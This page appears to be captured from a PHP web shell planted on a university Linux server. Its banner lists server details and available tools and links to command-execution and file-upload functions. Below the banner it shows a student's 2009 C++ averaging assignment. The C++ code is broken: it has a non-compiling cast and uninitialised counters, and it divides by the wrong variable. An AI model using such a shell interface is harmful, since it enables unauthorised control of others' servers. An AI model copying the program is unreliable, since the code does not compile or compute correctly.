Server IP : 172.16.15.8 / Your IP : 3.15.239.0 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/lmking1/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// File name: assign1.cpp // Class: Cs 212 Comp. Prog. II // Author: L'Tia King // Instructor: Dr. Wang // Date: 2 February 2009 // Compile: g++ assign1.cpp // Run: ./a.out // // Goal: The program prompts a message and lets the user input real // numbers, and quits when a zero or a negative number is entered. // It will output the average value, the smallest, and the largest // typed in, displayed to one decimal point. #include <iostream> #include <iomanip> using namespace std; int main() { // 1. decl float x; float smallest=100; float avg; float largest=1; int numtotal; int totalnum; int numbers = 0; // 2. read cout << "Input a pos., or quit for 0 and neg.: "; cin >> x; smallest = x; // 3. process and out while(x > 0) { cout << fixed << setprecision(1); // count the numbers numbers ++; // add x to the running total totalnum += static_cast<float> x; // check for the largest number if(largest < x) largest = x; // check for the smallest number if(smallest > x) smallest = x; cout << "The number is: " << x; cout << "\n\nInput a pos., or quit for 0/neg.: "; cin >> x; } // Calculate the average avg = static_cast<float>(totalnum) / numtotal; cout << "Smallest is: " << smallest << ". Largest is: " << largest << "\n"; cout << "\nAverage is: " << avg; cout << "\n\nDone. Bye-Bye.\n\n"; return 0; }